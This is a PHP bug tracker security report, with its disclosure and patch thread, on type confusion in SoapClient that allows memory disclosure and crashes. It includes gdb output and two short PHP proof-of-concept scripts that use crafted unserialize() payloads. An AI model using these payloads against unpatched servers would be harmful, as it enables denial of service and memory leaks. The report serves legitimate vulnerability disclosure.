php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70081 SoapClient info leak / null pointer dereference via multiple type confusions
Submitted: 2015-07-15 11:41 UTC Modified: 2015-08-04 22:20 UTC
From: andrea dot palazzo at truel dot it Assigned:
Status: Closed Package: SOAP related
PHP Version: Irrelevant OS: Ubuntu x86_64
Private report: No CVE-ID:
 [2015-07-15 11:41 UTC] andrea dot palazzo at truel dot it
Description:
------------
OVERVIEW

SoapClient's __call() method suffers from multiple type confusion issues which could be used to exfiltrate arbitrary memory contents or cause crashe via unsafe unserialize() calls.

DETAILS

The first problem lies how zend_hash_get_current_key is called in php_http.c:826

zend_hash_get_current_key_ex(Z_ARRVAL_PP(cookies), &key, &key_len, NULL, 0, NULL);

here a wrong assumption is made about key always being a **char, in fact, this is not true when unserializing a SoapClient object crafted with a numerically indexed array as _cookies.
The scenario mentioned above would then result in a null pointer dereference occuring in zend_hash_get_current_key(), zend_hash.c, line 1088.

*num_index = p->h;

where num_index is the NULL passed as 4th argument, and p->h a user-controlled value. While remotely this will always lead to a crash attempting to dereference 0x0, locally, if memory mapping is possible, this could be used to get arbitrary memory write and most likely code execution.

poc #1

gdb$ r poc1.php
Starting program: /usr/bin/php5 ./xplua/poc1sop.php
Program received signal SIGSEGV, Segmentation fault.

0x00000000006eabb5 in zend_hash_get_current_key_ex (ht=0x7ffff7fc0670, str_index=str_index@entry=0x7fffffff7860, str_length=str_length@entry=0x7fffffff77bc, num_index=num_index@entry=0x0, duplicate=duplicate@entry=0x0, pos=pos@entry=0x0) at /build/php5-RvVZKb/php5-5.6.10+dfsg/Zend/zend_hash.c:1088
1088				*num_index = p->h;
gdb$ p num_index
$132 = (ulong *) 0x0
gdb$ p p->h
$133 = 0x539

Second problem is a few lines later, php_http.c:833

    zval **tmp;
834                          if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE ||
835                               strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) &&
836                              (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE ||
837                               in_domain(phpurl->host,Z_STRVAL_PP(tmp))) &&
838                              (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) {
839                                smart_str_appendl(&soap_headers, key, key_len-1);
840                                smart_str_appendc(&soap_headers, '=');
841                                smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value));
842                                smart_str_appendc(&soap_headers, ';');
843                            }
844                        }

In the code portion above basically every Z_* call leads to a type confusion, no type checks are ever performed on tmp.

#poc 2

gdb$ r poc2.php

Program received signal SIGSEGV, Segmentation fault.

make_http_soap_request (this_ptr=this_ptr@entry=0x7ffff7fc0028, buf=<optimized out>, buf_size=<optimized out>, location=<optimized out>, soapaction=<optimized out>, soap_version=<optimized out>, buffer=buffer@entry=0x7ffff7fc0ce8, buffer_len=buffer_len@entry=0x7ffff7fc0cf0) at /build/php5-RvVZKb/php5-5.6.10+dfsg/ext/soap/php_http.c:837
837							       in_domain(phpurl->host,Z_STRVAL_PP(tmp))) &&
gdb$ x/i $pc
=> 0x59ebb9 <make_http_soap_request+17369>:	cmp    BYTE PTR [r12],0x2e
gdb$ p $r12
$164 = 0x539

Besides the crashes triggerable making tmp a numeric typed zval, arbitrary memory addresses exfiltration is also possible, even if the content is never reflected to the outside.
An attacker could in fact rely on the in_domain()'s strcmp() output to search for arbitrary strings in memory starting from a given address.
Considering that the first parameter needs to be a valid host, a remote exploitation is possible with a very limited set of strings (hostnames, numeric values corresponding to valid encoding for a reachable ip address, etc.).
Using zval types other than int, it might be possible to exploit the strncmp at line 835, where having path instead of host as first parameter would give the attacker a considerably wider string set. I'm still digging in that direction to see if reliable exploitation is achievable and I will let you know if something comes up.

regards,
Andrea

Test script:
---------------
#poc1

<?php

//segfault on write access violation @0

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies";a:1:{i:1337;s:12:"not-a-string";}}');
var_dump($dummy->notexisting());

?>

#poc2

<?php

//segfault on read access violation @1337

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:26:"http://pwn.badoo.com/a.xml";s:8:"_cookies";a:1:{s:3:"AAA";a:3:{i:0;s:1:"a";i:2;i:1337;i:1;i:1338;}}}');
var_dump($dummy->notexisting());

?>



Patches

bug70081 (last revision 2015-07-26 23:45 UTC) by stas@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-15 12:19 UTC] andrea dot palazzo at truel dot it
-Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2015-07-15 12:19 UTC] andrea dot palazzo at truel dot it
Forgot to make it private
 [2015-07-24 19:19 UTC] andrea dot palazzo at truel dot it
Further investigations revealed that the restrictions imposed by the nature of the host parameter could be bypassed using __proxy_host and __proxy_port.
Combined with #70121, this gives an attacker the ability to read arbitrary memory through whichever user-controlled unserialize call.
I'm going to develop and provide you a working PoC demonstrating the full exploitation in the next few days.

Please get back to me to coordinate disclosure and cve request as soon as you are ready to proceed.
Regards,
Andrea
 [2015-07-26 23:45 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: bug70081
Revision:   1437954332
URL:        https://bugs.php.net/patch-display.php?bug=70081&patch=bug70081&revision=1437954332
 [2015-07-26 23:50 UTC] stas@php.net
Please check the patch at https://gist.github.com/smalyshev/66cde7a0d9aee8b84814
 [2015-08-03 06:34 UTC] dmitry@php.net
looks fine
 [2015-08-03 09:39 UTC] andrea dot palazzo at truel dot it
Yes, I can confirm that the patch is fixing both the issues
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c96d08b27226193dd51f2b50e84272235c6aaa69
Log: Fix bug #70081: check types for SOAP variables
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c96d08b27226193dd51f2b50e84272235c6aaa69
Log: Fix bug #70081: check types for SOAP variables
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c96d08b27226193dd51f2b50e84272235c6aaa69
Log: Fix bug #70081: check types for SOAP variables
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c96d08b27226193dd51f2b50e84272235c6aaa69
Log: Fix bug #70081: check types for SOAP variables
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c96d08b27226193dd51f2b50e84272235c6aaa69
Log: Fix bug #70081: check types for SOAP variables
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sat Jul 22 20:01:35 2017 UTC